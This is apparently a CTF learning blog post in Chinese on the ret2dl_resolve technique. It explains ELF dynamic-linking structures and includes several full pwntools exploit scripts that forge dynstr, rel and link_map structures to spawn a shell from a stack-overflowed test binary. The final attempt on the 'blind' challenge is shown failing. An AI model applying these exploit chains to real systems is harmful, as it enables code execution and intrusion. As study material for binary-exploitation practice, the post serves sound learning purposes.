前言
所有的所有,都要归咎于前几天的西湖杯,不好意思爆蛋了,我看那道blind,就是是一个简单的栈溢出(简单的o.0…栈溢出),但是,我做不出来啊嘤嘤嘤 /(ㄒoㄒ)/~~,这两天一定要….算了。自己几斤几两心里还是有点数的.

之前简单地记了一下,plt表和got表的关系。就是为了给讲dl_resolve做铺垫…..找书,查资料。终于有了那么一点点进展,先写下来,免得以后忘了.这一篇就直接讲链接过程。所有测试以西湖杯2021的blind为例.

image-20211123232105136


参考引用并致谢
https://zhuanlan.zhihu.com/p/37572651
https://www.freebuf.com/articles/system/170661.html
https://blog.csdn.net/qq_38204481/article/details/90074190
https://bbs.pediy.com/thread-227034.htm
https://www.cnblogs.com/L0g4n-blog/p/12977300.html
https://www.freesion.com/article/95641430219/
https://blog.csdn.net/qq_51868336/article/details/114644569

这几篇文章按顺序看也能差不多


铺垫
我觉得有必要先把ELF的一些东西交待清楚,不然就算理解了大概的原理,最后还是会写不出来

.dynamic”段

1
2
3
4
5
6
7
8

类似于“.interp ”这样的段,ELF中还有几个段也是专门用于动态链接的,比如“.dynamic"段
和“.dynsym"段等。要了解动态链接器如何完成链接过程,跟前面一样,从了解 ELF文件中跟动态链
接相关的结构入手将会是一个很好的途径。ELF文件中跟动态链接相关的段有好几个,相互之间的关系
也比较复杂,我们先从“.dynamic>”入手。
动态链接ELF中最重要的结构应该是“.dynamic”段,这个段里面保存了动态链接器所万安星本信悬,
比如依赖于哪些共享对象、动态链接符号表的位置、动态链接重定位表的位置、共享对象初始化代码的
地址等。“.dynamic”段的结构很经典,就是我们已经碰到过的ELF中眼熟的结构数组,结构定义在“elf.h”中:
1
2
3
4
5
6
7
typedef struct {
E1f32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Word d_ptr;
} d_un;
} Elf32_Dyn;

Elf32Dyn结构由一个类型值加上一个附加的数值或指针,对于不同的类型,后面附加的数值或者指针有着不同的含义。我们这里列举几个比较常见的类型值(这些值都是定义在“elf.h”里面的宏),如下图所示tem111

上图中只列出了一部分定义,还有一些不太常用的定义我们就暂且忽略,具体可以参考LSB 手册和 elf.h的定义。从上面给出的这些定义来看,.dynamic”段里面保存的信息有点像ELF 文件头,只是我们前面看到的ELF文件头中保存的是静态链接时相关的内容,比如静态链接时用到的符号表、重定位表等,这里换成了动态链接下所使用的相应信息了。所以,“.dynamic”段可以看成是动态链接下ELF文件的“文件头”。使用readelf工具可以查看“.dynamic”段的内容:

1
readelf -d ELF  #-d 代表dyn

以上内容摘自《程序员的自我修养》的7.5.2


image-20211123230936789

再IDA中的确可以看到,Dynamic段,是Elf32_Dyn的结构体数组,且其中的值也顺带标注了出来

在ret2dl_resolve中我们只需要注意DT_STRTAB 和DT_SYMTAB和DT_JMPREL这三个结构体。

其中分别储存着程序的.dynstr段指针 .dynsym段指针 还有.rel.plt段的指针(里面储存有相应的plt表项的指针)

.dynstr

image-20211123232509686

.dynsym

这里面还有一种结构体

1
2
3
4
5
6
7
8
9
10
11
typedef struct
{
Elf64_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了

unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym; //对于导入函数符号(对于ret2dl_resolve)而言,其他字段都是0

.rel.pltimage-20211123232629738

image-20211123232925675

整个链接过程可以打带描述成,链接器在可执行文件中根据需要重定位的函数吗,找到相应的字符串,然后到libc中去匹配,找到对应函数在libc中的地址,然后写如GOT表

比如blind里使用了read函数,那么链接器就拿着’read‘到libc中去匹配,匹配到了就把相应函数在libc中的地址写入blind的GOT表的相应位置

具体一点就是

  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf64_Rel的指针,记作rel
  3. rel->r_info >> 16作为.dynsym的下标,求出当前函数的符号表项Elf64_Sym的指针,记作sym`
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

这里的link_map是一个结构体。至于这个结构是干什么的,我们不关心,但是有一点要知道,它包含了.dynamic的指针,通过这个link_map_dl_runtime_resolve函数可以访问到.dynamic这个section

以read函数为例

具体的话先在IDA中,演示一下吧

image-20211123234536933

2 .rel.plt + 第二个参数求出当前函数的重定位表项Elf64_Rel的指针,记作rel

第二个参数,我们跳转

进来后是结构体,左边是指针,右边是一个r_info数字(会观察到,最左边的好像是渐进的序号,最右边都是7,中间都是0)

image-20211123234739124

3 rel->r_info >> 16作为.dynsym的下标,求出当前函数的符号表项Elf64_Sym的指针,记作sym

200000007>>16 == 2

我们又找到.dynsym

image-20211123235530690

image-20211123235714360

可以看到第一个参数(也就是read函数名字字符串相对.dynstr的偏移)是offset aAlarm - offset byte_4003B8

这个aAlarm是什么鬼?,不急

4 .dynstr + sym->st_name得出符号名字符串指针

我们找到.dynstr

image-20211124000144866

可以看到

aRead - 0x4003B8就是read函数在.dynstr上的偏移.就此链接器获取到函数名的字符串

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x00000000004003B9
0x4003b9: 0x2e6f732e6362696c 0x006e696474730036
0x4003c9: 0x6474730064616572 0x656474730074756f
0x4003d9: 0x6d72616c61007272 0x73007065656c7300
0x4003e9: 0x5f00667562767465 0x74735f6362696c5f
0x4003f9: 0x6e69616d5f747261 0x5f6e6f6d675f5f00
0x400409: 0x005f5f7472617473 0x2e325f4342494c47
0x400419: 0x0200000000352e32 0x0200000002000200
0x400429: 0x0200020002000200 0x0100000000000000

查看字符串

1
2
3
pwndbg> x/s 0x00000000004003B9
0x4003b9: "libc.so.6"

我们的read函数

1
2
3
pwndbg> x/s 0x0000004003C9
0x4003c9: "read"

接下来的工作就是链接器拿着”read“去和libc进行匹配,将找到的read函数地址,写入到GOT中,这个过程我们就不做讨论了,没必要了。对于ret2dl_resolve我们要做的就是把”read“换成”system”。让链接器以为它拿的是”read“实际上”system“。

具体就是,通过一个任意写漏洞,可以在一些可写区域(比如bss)上,布置一些虚假的结构体。在第二步或者第四步实现欺骗。

  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf64_Rel的指针,记作relsym
  3. rel->r_info >> 16作为.dynsym的下标,求出当前函数的符号表项Elf64_Sym的指针,记作sym`
  4. .dynstr + sym->st_name得出符号名字符串指针

Partial RELRO 时可用

第二步中,第二参数是一个偏移,但是没有对偏移进行限制,它可以是一个很大的数,以至于可以跨段,让程序把我们伪造的Elf64_Rel结构体的当作rel

1
`No RELRO` 时可用

或者直接改写.dynmic段中的内容.将.dynstr段的指针改到成我们伪造的区域,但这个利用方式会比较苛刻。一方面需要.dynmic可写,另一方面还要要求在任意写漏洞后面还有未调用函数以供利用。


好,实践一下,我们依次试试No RELRO Partial RELRO 32位 和 64位,我的环境是ubuntu16.04,实际结果可能会有一点不一样,微调一下即可

1
2
3
4
5
6
7
8
9
10
11
12
#ret2dl.c
#include <unistd.h>
#include <string.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}

首先看No RELRO保护下

32位编译指令

gcc ret2dl.c -z norelro -no-pie -fno-stack-protector -m32 -o ret2dl32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding:utf8  
#伪造dynstr完成无泄漏攻击,仅适用于NO RELRO
from pwn import *
context(log_level ='debug', arch = 'amd64',os ='linux')
sh = process('./ret2dl32')
elf = ELF('./ret2dl32')
read_plt = elf.plt['read']
def debug():
raw_input()
gdb.attach(sh)
#此处是用来加载read的地址的,当我们伪造了dynstr后,再调用这个,就能将read解析为我们需要的函数
read_plt_load = 0x080482C6
#read_plt push部分
leave_ret = 0x08048358
pop_ebp = 0x0804848b
#攻击目标,我们要修改这里,让它指向fake_dynstr
target_addr = 0x0804961C + 4
#strtab
bss = 0x080496E4
fake_adr = bss + 0x800
fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00system\x00'
#做栈迁移,同时继续下一轮的read
payload = 'a'*0x2C + p32(pop_ebp) + p32(fake_adr) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(fake_adr) + p32(0x100)

sh.sendline(payload)
#由于多个有参数的函数同时写到一个payload,是完成不了的,互相冲突,因此read_plt_load的参数也是target_addr,即system(target_addr),因此
#我们在target_addr处使用shell注入,即;sh
rop = 'AAAA' + p32(read_plt) + p32(read_plt_load) + p32(0) + p32(target_addr) + p32(0x100)#read_plt_load是以.dynstr为参数的
#将fake_dynstr布置在bss + 0x850处
payload2 = rop.ljust(0x50,'\x00') + fake_dynstr
sh.sendline(payload2)
#raw_input()
#修改dynamic里面的dynstr为fake_dynstr,同时后面的;sh是一个shell注入
# debug()
sh.sendline(p32(fake_adr+0x50) + ';sh')
sh.interactive()

这种情况属于是,比较简单的,不过多进行叙述


64位编译指令

gcc ret2dl.c -z norelro -no-pie -fno-stack-protector -o ret2dl64

这里和32位的,没什么区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding:utf8  
#关键是要解决堆栈平衡,不然system不会成功,因此,我们在第一次read时就事先把rop给输入进去了
from pwn import *
context(log_level ='debug', arch = 'amd64',os ='linux')

sh = process('./ret2dl64')
elf = ELF('./ret2dl64')
read_plt = elf.plt['read']
fun_addr = elf.sym['fun']
#我们攻击的目标,我们要在此处修改指向fake_dynstr
def debug():
raw_input()
gdb.attach(sh)
target_addr = 0x0000000000600790 + 8
#用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数
plt0_load = 0x0000000004003C6
#pop rdi;ret;
pop_rdi = 0x0000000000400583
#pop rsi ; pop r15 ; ret
pop_rsi = 0x0000000000400581
#伪造dynstr
fake_dynstr = '\x00libc.so.6\x00system\x00'
bss = 0x000000000600920
#第一次构造2个输入机会,分别输入伪造的字符串,伪造的字符串的地址,rop
rop = p64(pop_rdi) + p64(bss) + p64(plt0_load) #read_plt_load是以.dynstr为参数的
payload = 'a'*0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(target_addr) + p64(0) + p64(read_plt)
payload += rop
sh.sendline(payload)
#发送伪造的字符串
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr
sleep(1)
sh.sendline(payload2)
sleep(1)
#修改dynsym里的strtab为我们伪造的dynstr
sh.sendline(p64(bss + 0x10))

sh.interactive()


我们看Partial RELRO保护下的

32位的编译指令

gcc ret2dl.c -z lazy -no-pie -fno-stack-protector -m32 -o ret2dl32p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding:utf8  
#重要,基于dl-runtime的免泄露地址,解析任意函数,实现任意函数的调用
#适用于Partial RELRO和NO RELRO
from pwn import *
context(log_level ='debug', arch = 'amd64',os ='linux')

sh = process('./ret2dl32p')
elf = ELF('./ret2dl32p')
def debug():
raw_input()
gdb.attach(sh)
read_got = elf.got['read']
read_plt = elf.plt['read']
leave_ret = 0x08048378
pop_ebp = 0x080482c9

#真正的dynstr的起始位置
dynstr_addr = 0x0804821C
#真正的dynsym的起始地址
dynsym_addr = 0x080481CC
#真正的rel.plt的起始位置
rel_addr = 0x08048298
#调用dll_runtime_resolve处
plt0 = 0x080482D0
#bss段开始的位置
bss = 0x0804a01c

#我们准备布置system字符串到bss+0x900处
system_str = bss + 0x900
#接下来布置/bin/sh字符串
binsh_str = system_str + len('system') + 1
#接下来布置fake_dynsym
fake_dynsym_addr = bss + 0x910
#开始伪造dynsym
fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)
#接下来布置fake_rel
fake_rel_addr = fake_dynsym_addr + len(fake_dynsym)
#开始伪造rel.plt
fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)
##伪造后,我们调用dl_runtime_resolve函数时的第二个参数设置为reloc_arg=fake_rel_addr - rel_addr,这样就能解析出我们指定的函数了。
#我们做栈迁移,同时继续调用read,向bss+0x800处写数据,注意,因为栈是从高往低增长,因此我们预留了0x800的空间
#需要注意的是,预留的空间要尽可能大一点,保证dll_runtime_resolve的栈空间够用,不然不能成功,这个问题搞了好久
payload1 = 'a'*(0x28) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)
#第一次,我们做栈迁移,同时继续调用read读取下一轮数据
sh.sendline(payload1)
#第二次,我们需要发送rop以及伪造的数据结构
print "arg===>"+hex(fake_rel_addr - rel_addr)
debug()
# 第二个参数
rop = '\x00'*0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr)#直接跳转到read
rop += p32(0x0804840B) + p32(binsh_str)
payload2 = rop.ljust(0x900-0x800,'\x00') + ('system\x00/bin/sh\x00'.ljust(0x10,'\x00'))
payload2 += fake_dynsym + fake_rel
sh.sendline(payload2)

sh.interactive()

这里说一下,

1
2
rop = '\x00'*0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr)#直接跳转到read
rop += p32(0x0804840B) + p32(binsh_str)

这个p32(plt0)后面为什么直接接,p32(fake_rel_addr - rel_addr)

因为ret2dl_resolve函数需要两个参数,正常情况下是下面这种

image-20211126183657987

但是,我们在伪造的时候,是从这里开始的

image-20211126183937278

我们少压入了一个参数,这个参数就是,到rel的偏移,所以我们自己把把我们伪造的参数写入栈中

所以,p32(plt0)后面我们写入p32(fake_rel_addr - rel_addr),省去了push操作


64位编译指令

gcc ret2dl.c -z lazy -no-pie -fno-stack-protector -o ret2dl64p

这种情况,就不能像32位那样直接用大偏移将rel指向我们伪造的部分,

因为,在64位中bss段在0x600000上,而text段在0x400000段上,中间有那么一段(比如说0x500000)是没有映射的,会报错,然后失败。

1
2
3
4
5
6
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/blacktea/Q/ret2dl64p
0x600000 0x601000 r--p 1000 0 /home/blacktea/Q/ret2dl64p
0x601000 0x602000 rw-p 1000 1000 /home/blacktea/Q/ret2dl64p

那么就是另一种利用方法了,伪造link_map

en…………………………说是实话,在我写这些的时候,我都还是不是很理解,这其中的原理,额算理解原理,但是还不是很清楚到底怎么伪造的。看下次,什么时候有时间,补充一下吧

直接看EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding:utf8  
from pwn import *
context(log_level ='debug', arch = 'amd64',os ='linux')
def debug():
raw_input()
gdb.attach(sh)
sh = process('./ret2dl64p')
elf = ELF('./ret2dl64p')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
read_plt = elf.plt['read']
read_got = elf.got['read']
fun_addr = elf.sym['fun']

#bss段
bss = 0x0000000000601038

l_addr = libc.sym['system'] - libc.sym['read']
#注意,只要是可读写的内存地址即可,调试看看就知道了
r_offset = bss + l_addr * -1

#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000

pop_rdi = 0x00000000004005c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x00000000004005c1
#用于解析符号dl_runtime_resolve
plt_load = 0x0004003F0+6

#第一次继续调用read输入伪造的数据结构,然后再一次调用fun来输入rop
payload = 'a'*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)
#raw_input()
sleep(1)
sh.sendline(payload)
#真正的dynstr的地址
dynstr = 0x000400318
#我们准备把link_map放置在bss+0x100处
fake_link_map_addr = bss + 0x100
#假的dyn_strtab
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_strtab = p64(0) + p64(dynstr) #fake_link_map_addr + 0x8
#假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
#其他字段无关紧要,所以,我们让dynsym为read_got - 0x8,这样,相当于把read_got - 0x8处开始当做一个dynsym,这样st_value正好对应了read的地址
#并且(*(sym+5))&0x03 != 0也成立
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) #fake_link_map_addr + 0x18
#假的dyn_rel
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38) #fake_link_map_addr + 0x28
#假的rel.plt
fake_rel = p64(r_offset) + p64(0x7) + p64(0) #fake_link_map_addr + 0x38
#l_addr
fake_link_map = p64(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x68,'\x00')
#dyn_strtab的指针
fake_link_map += p64(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
#存入/bin/sh字符串
fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
#在fake_link_map_addr + 0xF8处,是rel.plt指针
fake_link_map += p64(fake_dyn_rel_addr)

sleep(1)
sh.sendline(fake_link_map)
sleep(1)
#raw_input()
#现在,我们伪造好了link_map,那么,我们就可以来解析system了
rop = 'A'*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sh.sendline(rop)

sh.interactive()


好,终于到了我们最终的目的了,解题。不要忘了还有一道blind

我们用这个EXP改改,试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding:utf8  
from pwn import *
context(log_level ='debug', arch = 'amd64',os ='linux')
def debug():
raw_input()
gdb.attach(sh)
sh = process('./blind')
elf = ELF('./blind')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# read_plt = elf.plt['read']
read_plt = 0x040074C

read_got = elf.got['read']
# fun_addr = elf.sym['fun']
fun_addr = 0x000400736
#bss段
bss = 0x000000601060

l_addr = libc.sym['system'] - libc.sym['read']
#注意,只要是可读写的内存地址即可,调试看看就知道了
r_offset = bss + l_addr * -1

#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000

pop_rdi = 0x00000000004007c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x00000000004007c1
#用于解析符号dl_runtime_resolve
plt_load = 0x000400556+6

#第一次继续调用read输入伪造的数据结构,然后再一次调用fun来输入rop
payload = 'a'*(0x50+8) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss + 0x100) + p64(0)+ p64(read_plt) + p64(fun_addr)
#raw_input()
sleep(1)
sh.sendline(payload)
#真正的dynstr的地址
dynstr = 0x0004003B8
#我们准备把link_map放置在bss+0x100处
fake_link_map_addr = bss + 0x100
#假的dyn_strtab
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_strtab = p64(0) + p64(dynstr) #fake_link_map_addr + 0x8
#假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
#其他字段无关紧要,所以,我们让dynsym为read_got - 0x8,这样,相当于把read_got - 0x8处开始当做一个dynsym,这样st_value正好对应了read的地址
#并且(*(sym+5))&0x03 != 0也成立
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) #fake_link_map_addr + 0x18
#假的dyn_rel
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38) #fake_link_map_addr + 0x28
#假的rel.plt
fake_rel = p64(r_offset) + p64(0x7) + p64(0) #fake_link_map_addr + 0x38
#l_addr
fake_link_map = p64(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x68,'\x00')
#dyn_strtab的指针
fake_link_map += p64(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
#存入/bin/sh字符串
fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
#在fake_link_map_addr + 0xF8处,是rel.plt指针
fake_link_map += p64(fake_dyn_rel_addr)

sleep(1)
debug()
sleep(1)
sh.sendline(fake_link_map)
#raw_input()
#现在,我们伪造好了link_map,那么,我们就可以来解析system了
rop = 'A'*(0x50+8)+ p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sh.sendline(rop)

sh.interactive()

发现,打不了,程序流程卡住了,然后发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x182
RBX 0x0
RCX 0x7ff5b3858360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x500
RDI 0x0
RSI 0x601160 ◂— 0xfffffffffff4e050
R8 0x7ff5b3b27770 (_IO_stdfile_2_lock) ◂— 0x0
R9 0x0
R10 0x37b
R11 0x346
R12 0x4005c0 ◂— xor ebp, ebp
R13 0x7ffcb1ef2bb0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x6161616161616161 ('aaaaaaaa')
RSP 0x7ffcb1ef2b08 —▸ 0x400736 ◂— lea rax, [rbp - 0x50]
RIP 0x400752 ◂— leave
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x400751 nop
► 0x400752 leave
0x400753 ret

0x400754 nop word ptr cs:[rax + rax]
0x40075e nop
0x400760 push r15
0x400762 push r14
0x400764 mov r15d, edi
0x400767 push r13
0x400769 push r12
0x40076b lea r12, [rip + 0x20069e]


对,这个leave,当时我天正地以为,只是因为RBP的值不合法,所以不行,后来去改才发现,没法改,因为,你不知道,将之后的函数流程引到哪儿,栈上(要是知道栈地址,还需要这么苦哈哈?!),后来想,要不在,之前的payload那儿改一下,手动配置一下函数流程,试了几次失败了,也不知道,是不是我太菜了。然后🐂bi的来了,我去网上搜索了一下,其他人的wp,都是用ret2csu做的,然后,我心态就崩了,

算了,去学ret2csu了,等缓过来,在看这个吧。累了,周五了,可以开摆了…

ret2dl应该是可以的. 难点就是,为具体的题型,构造不同的link_map

2021-11-23

⬆︎TOP